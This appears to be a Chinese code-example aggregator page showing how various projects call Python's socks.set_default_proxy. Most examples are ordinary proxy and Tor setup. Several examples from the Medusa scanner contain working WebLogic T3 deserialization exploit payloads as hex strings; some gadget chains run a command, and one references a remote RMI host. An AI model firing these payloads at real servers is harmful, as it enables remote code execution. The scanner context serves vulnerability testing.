本文整理汇总了Python中socks.set_default_proxy方法的典型用法代码示例。如果您正苦于以下问题:Python socks.set_default_proxy方法的具体用法?Python socks.set_default_proxy怎么用?Python socks.set_default_proxy使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在模块socks
的用法示例。
在下文中一共展示了socks.set_default_proxy方法的19个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。
示例1: update_config
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def update_config(self):
if int(self.config.PROXY_ENABLE):
if self.config.PROXY_TYPE == "HTTP":
proxy_type = socks.HTTP
elif self.config.PROXY_TYPE == "SOCKS4":
proxy_type = socks.SOCKS4
elif self.config.PROXY_TYPE == "SOCKS5":
proxy_type = socks.SOCKS5
else:
self.logger.error("proxy type %s unknown, disable proxy", self.config.PROXY_TYPE)
raise Exception()
socks.set_default_proxy(proxy_type, self.config.PROXY_HOST, self.config.PROXY_PORT,
self.config.PROXY_USER,
self.config.PROXY_PASSWD)
开发者ID:miketwes,项目名称:XX-Net-mini,代码行数:18,代码来源:connect_creator.py
示例2: __init__
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def __init__(self):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
self.timeout = TIMEOUT
self.session = requests.Session()
self.headers = get_ua()
if COOKIE == 'random':
plain = ''.join([random.choice('0123456789') for _ in range(8)])
md5sum = hashlib.md5()
md5sum.update(plain.encode('utf-8'))
md5 = md5sum.hexdigest()
self.headers.update({'Cookie': 'SESSION=' + md5})
else:
self.headers.update(COOKIE)
if SOCKS5:
ip, port = SOCKS5
socks.set_default_proxy(socks.SOCKS5, ip, port)
socket.socket = socks.socksocket
开发者ID:al0ne,项目名称:Vxscan,代码行数:23,代码来源:Requests.py
示例3: proxy_connect
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def proxy_connect(args):
"""
Connect to specified proxy
"""
if args.proxy_host:
# Setup proxy by monkeypatching the standard lib
if args.proxy_type.lower() == "socks5" or not args.proxy_type:
socks.set_default_proxy(
socks.SOCKS5, args.proxy_host,
int(args.proxy_port))
elif args.proxy_type.lower() == "http":
socks.set_default_proxy(
socks.HTTP, args.proxy_host,
int(args.proxy_port))
elif args.proxy_type.lower() == "socks4":
socks.set_default_proxy(
socks.SOCKS4, args.proxy_host,
int(args.proxy_port))
else:
printNicely(
magenta('Sorry, wrong proxy type specified! Aborting...'))
sys.exit()
socket.socket = socks.socksocket
开发者ID:orakaro,项目名称:rainbowstream,代码行数:25,代码来源:rainbow.py
示例4: load_proxy_config
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def load_proxy_config():
global default_socket
if g.config.PROXY_ENABLE:
if g.config.PROXY_TYPE == "HTTP":
proxy_type = socks.HTTP
elif g.config.PROXY_TYPE == "SOCKS4":
proxy_type = socks.SOCKS4
elif g.config.PROXY_TYPE == "SOCKS5":
proxy_type = socks.SOCKS5
else:
xlog.error("proxy type %s unknown, disable proxy", g.config.PROXY_TYPE)
raise Exception()
socks.set_default_proxy(proxy_type, g.config.PROXY_HOST, g.config.PROXY_PORT,
g.config.PROXY_USER, g.config.PROXY_PASSWD)
开发者ID:miketwes,项目名称:XX-Net-mini,代码行数:18,代码来源:connect_manager.py
示例5: urllib2_HTTP_test
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def urllib2_HTTP_test():
socks.set_default_proxy(socks.HTTP, "127.0.0.1", 8081)
socks.wrap_module(urllib2)
status = urllib2.urlopen("http://ifconfig.me/ip").getcode()
assert status == 200
开发者ID:nil0x42,项目名称:phpsploit,代码行数:7,代码来源:sockstest.py
示例6: urllib2_SOCKS5_test
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def urllib2_SOCKS5_test():
socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 1081)
socks.wrap_module(urllib2)
status = urllib2.urlopen("http://ifconfig.me/ip").getcode()
assert status == 200
开发者ID:nil0x42,项目名称:phpsploit,代码行数:7,代码来源:sockstest.py
示例7: global_override_HTTP_test
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def global_override_HTTP_test():
socks.set_default_proxy(socks.HTTP, "127.0.0.1", 8081)
good = socket.socket
socket.socket = socks.socksocket
status = urllib2.urlopen("http://ifconfig.me/ip").getcode()
socket.socket = good
assert status == 200
开发者ID:nil0x42,项目名称:phpsploit,代码行数:9,代码来源:sockstest.py
示例8: global_override_SOCKS5_test
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def global_override_SOCKS5_test():
default_proxy = (socks.SOCKS5, "127.0.0.1", 1081)
socks.set_default_proxy(*default_proxy)
good = socket.socket
socket.socket = socks.socksocket
status = urllib2.urlopen("http://ifconfig.me/ip").getcode()
socket.socket = good
assert status == 200
assert socks.get_default_proxy()[1].decode() == default_proxy[1]
开发者ID:nil0x42,项目名称:phpsploit,代码行数:11,代码来源:sockstest.py
示例9: apply_upstream_proxy_settings
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def apply_upstream_proxy_settings():
# apply socks settings in place
if config.SOCKS5_HOST and config.SOCKS5_PORT:
import socks
print_err("Socket-proxy mode activated, it is incompatible with advertising and uvloop")
socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, config.SOCKS5_HOST, config.SOCKS5_PORT,
username=config.SOCKS5_USER, password=config.SOCKS5_PASS)
if not hasattr(socket, "origsocket"):
socket.origsocket = socket.socket
socket.socket = socks.socksocket
elif hasattr(socket, "origsocket"):
socket.socket = socket.origsocket
del socket.origsocket
开发者ID:alexbers,项目名称:mtprotoproxy,代码行数:15,代码来源:mtprotoproxy.py
示例10: __init__
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def __init__(self, source_port, destination, proxy = None):
self.destination = destination
self.teesock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.teesock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.teesock.bind(('127.0.0.1', source_port))
self.teesock.listen(200)
socks.set_default_proxy(proxy['type'], proxy['server'], proxy['port'])
self.use_proxy = True
# Linked client/server sockets in both directions
self.channel = {}
开发者ID:the729,项目名称:sync-over-the-wall,代码行数:14,代码来源:tcptee_proxy.py
示例11: set_socks_default
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def set_socks_default():
# TOR SETUP GLOBAL Vars
SOCKS_PORT = 9050 # TOR proxy port that is default from torrc, change to whatever torrc
socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", SOCKS_PORT)
socket.socket = socks.socksocket
# Perform DNS resolution through the socket
def getaddrinfo(*args):
return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]
socket.getaddrinfo = getaddrinfo
return "success"
开发者ID:jamesacampbell,项目名称:python-examples,代码行数:14,代码来源:test_tor-example.py
示例12: medusa
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def medusa(Url:str,RandomAgent:str,proxies:str=None,**kwargs)->None:
if proxies!=None:
proxies_scheme, proxies_url, proxies_port = UrlProcessing().result(proxies)
socks.set_default_proxy(socks.HTTP, addr=proxies_url, port=proxies_port) # 设置socks代理
socket.socket = socks.socksocket # 把代理应用到socket
scheme, url, port = UrlProcessing().result(Url)
if port is None and scheme == 'https':
port = 443
elif port is None and scheme == 'http':
port = 80
else:
port = port
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(60)
payload='aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b42787057412418757200025b42acf317f8060854e0020000787000000c0daced0005737200176a6176612e7574696c2e4c696e6b656448617368536574d86cd75a95dd2a1e020000787200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f400000000000027372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000949000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785a00155f75736553657276696365734d656368616e69736d4c00195f61636365737345787465726e616c5374796c6573686565747400124c6a6176612f6c616e672f537472696e673b4c000b5f617578436c617373657374003b4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f486173687461626c653b5b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff00740003616c6c70757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e0020000787000000698cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01000463616c6308003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572313930393035393330363833303701001f4c79736f73657269616c2f50776e657231393039303539333036383330373b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e000d000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e727077010078737d00000001001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c61746573787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000001740008663561356136303871007e0009787672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c617465730000000000000000000000787078'
server_addr = (url, port)
t3handshake(sock, server_addr)
buildT3RequestObject(sock)
rs ,poc= sendEvilObjData(sock, payload)
con= re.findall("org.apache.commons.collections.functors.InvokerTransformer", str(rs), re.S)
if len(con)>0:
Medusa = "{}存在WeblogicT3反序列化命令执行漏洞(CVE-2016-3510)\r\n验证数据:\r\n使用POC:{}\r\n返回数据包:{}\r\n正则数据:{}\r\n".format(url,poc,str(rs),con)
_t = VulnerabilityInfo(Medusa)
VulnerabilityDetails(_t.info, url,**kwargs).Write() # 传入url和扫描到的数据
WriteFile().result(str(url),str(Medusa))#写入文件,url为目标文件名统一传入,Medusa为结果
except Exception as e:
_ = VulnerabilityInfo('').info.get('algroup')
ErrorHandling().Outlier(e, _)
ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e) # 调用写入类传入URL和错误插件名
开发者ID:Ascotbe,项目名称:Medusa,代码行数:33,代码来源:WeblogicT3DeserializationCommandExecutionVulnerability.py
示例13: medusa
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def medusa(Url:str,RandomAgent:str,proxies:str=None,**kwargs)->None:
if proxies!=None:
proxies_scheme, proxies_url, proxies_port = UrlProcessing().result(proxies)
socks.set_default_proxy(socks.HTTP, addr=proxies_url, port=proxies_port) # 设置socks代理
socket.socket = socks.socksocket # 把代理应用到socket
scheme, url, port = UrlProcessing().result(Url)
if port is None and scheme == 'https':
port = 443
elif port is None and scheme == 'http':
port = 80
else:
port = port
try:
DL=Dnslog()
JrmpPort = "2000"#端口随便
JrmpClient = "JRMPClient"
YsoserialPath=GetToolFilePath().Result()+"ysoserial.jar"
TempPath=GetTempFilePath().Result()+str(int(time.time()))+"_"+randoms().result(10)
con,payload=exploit(url, port, YsoserialPath, DL.dns_host(), JrmpPort, JrmpClient,TempPath)
time.sleep(5)
if DL.result():
Medusa = "{}存在WeblogicWLS核心组件反序列化命令执行漏洞(CVE-2018-2628)\r\n验证数据:\r\n使用POC:{}\r\n返回数据包:{}\r\nDNSlog内容:{}\r\nDNSlog返回结果:{}\r\n".format(url,payload,con,DL.dns_host(),DL.dns_text())
_t = VulnerabilityInfo(Medusa)
VulnerabilityDetails(_t.info, url,**kwargs).Write() # 传入url和扫描到的数据
WriteFile().result(str(url),str(Medusa))#写入文件,url为目标文件名统一传入,Medusa为结果
except Exception as e:
_ = VulnerabilityInfo('').info.get('algroup')
ErrorHandling().Outlier(e, _)
ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e) # 调用写入类传入URL和错误插件名
开发者ID:Ascotbe,项目名称:Medusa,代码行数:32,代码来源:WeblogicWLSCoreComponentsDeserializationCommandExecutionVulnerability.py
示例14: medusa
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def medusa(Url:str,RandomAgent:str,proxies:str=None,**kwargs)->None:
if proxies!=None:
proxies_scheme, proxies_url, proxies_port = UrlProcessing().result(proxies)
socks.set_default_proxy(socks.HTTP, addr=proxies_url, port=proxies_port) # 设置socks代理
socket.socket = socks.socksocket # 把代理应用到socket
scheme, url, port = UrlProcessing().result(Url)
if port is None and scheme == 'https':
port = 443
elif port is None and scheme == 'http':
port = 80
else:
port = port
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(60)
payload='aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078'
server_addr = (url, port)
t3handshake(sock, server_addr)
buildT3RequestObject(sock)
rs ,poc= sendEvilObjData(sock, payload)
con= re.findall('\\$Proxy[0-9]+', str(rs), re.S)
if len(con)>0:
Medusa = "{}存在Weblogic反序列化命令执行漏洞(CVE-2017-3248)\r\n验证数据:\r\n使用POC:{}\r\n返回数据包:{}\r\n正则数据:{}\r\n".format(url,poc,str(rs),con)
_t = VulnerabilityInfo(Medusa)
VulnerabilityDetails(_t.info, url,**kwargs).Write() # 传入url和扫描到的数据
WriteFile().result(str(url),str(Medusa))#写入文件,url为目标文件名统一传入,Medusa为结果
except Exception as e:
_ = VulnerabilityInfo('').info.get('algroup')
ErrorHandling().Outlier(e, _)
ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e) # 调用写入类传入URL和错误插件名
开发者ID:Ascotbe,项目名称:Medusa,代码行数:33,代码来源:WeblogicDeserializationCommandExecutionVulnerability2.py
示例15: medusa
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def medusa(Url:str,RandomAgent:str,proxies:str=None,**kwargs)->None:
if proxies!=None:
proxies_scheme, proxies_url, proxies_port = UrlProcessing().result(proxies)
socks.set_default_proxy(socks.HTTP, addr=proxies_url, port=proxies_port) # 设置socks代理
socket.socket = socks.socksocket # 把代理应用到socket
scheme, url, port = UrlProcessing().result(Url)
if port is None and scheme == 'https':
port = 443
elif port is None and scheme == 'http':
port = 80
else:
port = port
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(60)
payload='aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004001e200000000000000100000572aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000017f72696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000787000000003740007636d642e6578657400022f6374000463616c63740004657865637571007e001e000000017671007e002f7371007e0011737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f4000000000000078737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003d78'
server_addr = (url, port)
t3handshake(sock, server_addr)
buildT3RequestObject(sock)
rs ,poc= sendEvilObjData(sock, payload)
con=str(rs)
#con= re.findall('weblogic.jms.common.StreamMessageImpl', str(rs), re.S)
if con.find("weblogic.jms.common.StreamMessageImpl")!=-1:
Medusa = "{}存在Weblogic反序列化命令执行漏洞(CVE-2016-0638)\r\n验证数据:\r\n使用POC:{}\r\n返回数据包:{}\r\n".format(url,poc,con)
_t = VulnerabilityInfo(Medusa)
VulnerabilityDetails(_t.info, url,**kwargs).Write() # 传入url和扫描到的数据
WriteFile().result(str(url),str(Medusa))#写入文件,url为目标文件名统一传入,Medusa为结果
except Exception as e:
_ = VulnerabilityInfo('').info.get('algroup')
ErrorHandling().Outlier(e, _)
ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e) # 调用写入类传入URL和错误插件名
开发者ID:Ascotbe,项目名称:Medusa,代码行数:34,代码来源:WeblogicDeserializationCommandExecutionVulnerability.py
示例16: setProxy
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def setProxy(self, addr, port, username=None, password=None, proxy_type=socks.SOCKS5):
# pip install PySocks
import socks
socks.set_default_proxy(
proxy_type, addr=addr, port=port, username=username, password=password
)
# socket.socket = socks.socksocket
self.socket = socks.socksocket
开发者ID:LyleMi,项目名称:Saker,代码行数:10,代码来源:rawhttp.py
示例17: medusa
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def medusa(Url:str,RandomAgent:str,proxies:str=None,**kwargs)->None:
if proxies!=None:
proxies_scheme, proxies_url, proxies_port = UrlProcessing().result(proxies)
socks.set_default_proxy(socks.HTTP, addr=proxies_url, port=proxies_port) # 设置socks代理
socket.socket = socks.socksocket # 把代理应用到socket
scheme, url, port = UrlProcessing().result(Url)
if port is None and scheme == 'https':
port = 443
elif port is None and scheme == 'http':
port = 80
else:
port = port
try:
port = int(port)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((url, port))
sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
time.sleep(3)
sock.recv(1024)
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format(
'{:04x}'.format(port))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1, data2, data3, data4]:
sock.send(bytes.fromhex(d))
payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload += 'aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078'
payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload)
sock.send(bytes.fromhex(payload))
time.sleep(5)
res = sock.recv(4096)
